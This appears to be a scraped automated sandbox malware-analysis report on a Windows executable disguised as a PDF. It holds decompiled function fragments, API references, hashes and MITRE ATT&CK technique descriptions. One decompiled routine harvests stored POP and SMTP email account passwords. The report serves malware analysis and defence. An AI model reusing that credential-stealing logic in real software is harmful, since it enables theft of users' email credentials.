FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Function 004058EA, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058EA(char* _a4, char* _a8) {
				char* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xc5c16604, 0, 0);
				_t4 = StrStrA(_a4, _a8); // executed
				return _t4;
			}

0x004058f8
0x00405903
0x00405906

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Uniqueness

Uniqueness Score: -1.00%

Function 00405924, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405924(WCHAR* _a4, WCHAR* _a8) {
				WCHAR* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xd6865bd4, 0, 0);
				_t4 = StrStrW(_a4, _a8); // executed
				return _t4;
			}

0x00405932
0x0040593d
0x00405940

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

SmtpPort, xrefs: 0040D0EB
PopPort, xrefs: 0040D0A7
SmtpPassword, xrefs: 0040D117
PopPassword, xrefs: 0040D0D0
PopServer, xrefs: 0040D099
SmtpAccount, xrefs: 0040D0FA
PopAccount, xrefs: 0040D0B6
SmtpServer, xrefs: 0040D0DC
EmailAddress, xrefs: 0040D074
Technology, xrefs: 0040D08D

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report PI_Nov9071011998_ENTRUSTpdf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre